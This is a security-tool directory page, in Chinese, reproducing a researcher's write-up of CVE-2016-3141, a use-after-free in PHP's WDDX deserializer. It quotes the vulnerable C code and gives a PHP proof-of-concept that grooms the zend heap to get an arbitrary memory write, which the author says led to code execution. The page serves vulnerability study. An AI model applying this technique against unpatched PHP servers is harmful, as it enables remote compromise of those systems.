Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2016-3141 — CVE-2016-3141 | Kitploit
工具/GitHubGitHub/peternguyen93/cve-2016-3141
内存取证漏洞分析代码分析漏洞利用学习与教育二进制利用
GitHubpeternguyen93/cve-2016-3141

CVE-2016-3141

CVE-2016-3141

查看仓库
1541210年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2016-3141

1. 漏洞详情

PHP 5.5.33 之前版本及 5.6.x 系列 5.6.19 之前版本的 WDDX 扩展中的 wddx.c 存在释放后使用漏洞,远程攻击者可通过触发 wddx_deserialize 调用包含精心构造的 var 元素的 XML 数据,导致拒绝服务(内存损坏及应用崩溃),或可能造成其他未指明的影响。

2. 漏洞概述

这是一个释放后使用漏洞,发生在 wddx 处理 XML 数据时。查看函数 php_wddx_deserialize_ex 中的代码。当 wddx_deserialize($xml) 处理某些 XML 数据时,PHP 会调用此函数,然后设置一些函数来处理 XML 标签和数据。

	XML_SetUserData(parser, &stack);
	XML_SetElementHandler(parser, php_wddx_push_element, php_wddx_pop_element);
	XML_SetCharacterDataHandler(parser, php_wddx_process_data);

函数 php_wddx_push_element 会为标签创建一个条目,如下所示。例如,输入 <string>Hello World</string> 时,当遇到开始标签 时会调用 php_wddx_push_element 创建一个 st_entry 条目来存储标签的信息。以下代码片段展示了这一点。

static void php_wddx_push_element(void *user_data, const XML_Char *name, const XML_Char **atts)
{
	st_entry ent;
	wddx_stack *stack = (wddx_stack *)user_data;
	
	----SNIP----
	else if (!strcmp(name, EL_STRING)) {
		ent.type = ST_STRING;
		SET_STACK_VARNAME;
	
		ALLOC_ZVAL(ent.data);
		INIT_PZVAL(ent.data);
		Z_TYPE_P(ent.data) = IS_STRING;
		Z_STRVAL_P(ent.data) = STR_EMPTY_ALLOC();
		Z_STRLEN_P(ent.data) = 0;
		wddx_stack_push((wddx_stack *)stack, &ent, sizeof(st\_entry));
	} 
	----SNIP----
}

SET_STACK_VARNAME 是一个宏定义,如下所示。该宏简单地检查栈中的 varname,如果非空则复制该 varname 并释放原内存。

#define SET_STACK_VARNAME							\
		if (stack->varname) {						\
			ent.varname = estrdup(stack->varname);	\
			efree(stack->varname);					\
			stack->varname = NULL;					\
		} else										\
			ent.varname = NULL;						\

漏洞出现在 php_wddx_pop_element 中。当 XML 关闭 var 标签时,会释放该标签的 varname,但释放后的指针仍然保存在 stack->varname 中。例如,创建一个像 <var name='UAF'></var> 这样的 var 标签时,php_wddx_push_element 会创建一个存储该 var 标签的结构体,然后关闭标签时释放但忘记将 stack->varname = NULL 或减少 stack->top。之后创建其他标签(如 <string>)时,宏 SET_STACK_VARNAME 会重新使用这个已释放的指针。

static void php_wddx_pop_element(void *user_data, const XML_Char *name)
{
	# ***SNIP***
	} else if (!strcmp(name, EL_VAR) && stack->varname) {
		efree(stack->varname);
	}
	# ***SNIP***
}

3. 漏洞利用

最初看到这个漏洞时,我心想:“难道不能把这个漏洞变成代码执行吗?”首先,我需要理解 zend 堆的实现。查看 zend_alloc.c 中的函数 _zend_mm_alloc_int 如下:

if (EXPECTED(ZEND_MM_SMALL_SIZE(true_size))) {
		size_t index = ZEND_MM_BUCKET_INDEX(true_size);
		size_t bitmap;
		if (UNEXPECTED(true_size < size)) {
			goto out_of_memory;
		}
#if ZEND_MM_CACHE
		if (EXPECTED(heap->cache[index] != NULL)) {
			/* Get block from cache */
#if ZEND_MM_CACHE_STAT
			heap->cache_stat[index].count--;
			heap->cache_stat[index].hit++;
#endif
			best_fit = heap->cache[index];
			heap->cache[index] = best_fit->prev_free_block;
			heap->cached -= true_size;
			ZEND_MM_CHECK_MAGIC(best_fit, MEM_BLOCK_CACHED);
			ZEND_MM_SET_DEBUG_INFO(best_fit, size, 1, 0);
			HANDLE_UNBLOCK_INTERRUPTIONS();
			return ZEND_MM_DATA_OF(best_fit);
 		}

如果我们要分配小块(小于256字节),zend_alloc 会使用 heap->cache,这是一个空闲块链表,存储了许多小的空闲块,类似于 malloc 的 fast_bin。如果我们可以覆盖 best_fit->prev_free_block 指针,使其指向我们自己的地址,那么再次调用 zend_alloc 时,就能利用该地址向内存中的任意位置写入数据。

为此,我将构建以下 wddx XML:

$xml = <<<EOF
<?xml version='1.0' ?>
<!DOCTYPE wddxPacket SYSTEM 'wddx_0100.dtd'>
<wddxPacket version='1.0'>
	<array>
		<binary>HERE</binary> # (1)
		<var name='XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'></var> #(2)
		<binary>REPLACE</binary> # (3)
		<var name='SUCK'></var> # (4)
		<boolean value='a'/>
		<boolean value='true'/>
	</array>
</wddxPacket>
EOF;

$binary_value = base64_encode(str_repeat("A",32));

$xml = str_replace("HERE",$binary_value,$xml);
$xml = str_replace("REPLACE",base64_encode(str_repeat("Z",64)),$xml);

$wddx = wddx_deserialize($xml); 

foreach($wddx as $k => $v){
	$k = "".str_repeat("C",6); (5)
	
	$t = (string)$v; (6)
	$g = (string)$v; (7)
}
  1. 使用 binary 标签创建32字节(chunk_a),因为该标签允许输入不可打印字符。
  2. 创建一个名称与第一个 binary 标签大小相同的 var 标签,然后使该名称对应的内存被释放(chunk_b)。
  3. 创建一个64字节的填充块(chunk_c)。
  4. 创建一个8字节的名称并释放(chunk_d)。
  5. 反序列化 $xml 后,在 foreach 循环中,第一次迭代时 $k 指向已释放的 chunk_b,$v 指向 chunk_a。使用拼接运算符 concat_function 覆盖 best_fit->prev_free_block 为我们自己的数据。
  6. 使用 PHP 的字符串强制转换,该操作会调用 estrncpy 创建一个新块(chunk_e),该块指向 chunk_b,并使 heap->cache[index] 存储我们自己的值。
  7. 再次执行 estrncpy($v,32)(其中 $v=$binary_value),第一次调用 zend_alloc 后,我们看到崩溃 $r12 = 0x4343434343。如果我们把这个值替换成其他地址,estrncpy 会愉快地调用 memcpy(r12, v, size),从而覆盖内存中任意位置。

崩溃

完整的利用代码见 peter_code_execute.php(已在 Ubuntu 14.04.4 x86_64 - PHP 5.5.9-1ubuntu4.14 上测试)。

最终,我成功将该漏洞转化为代码执行。 结果

4. 参考资料

http://www.cvedetails.com/cve/CVE-2016-3141/。

https://bugs.php.net/bug.php?id=71587。

下载工具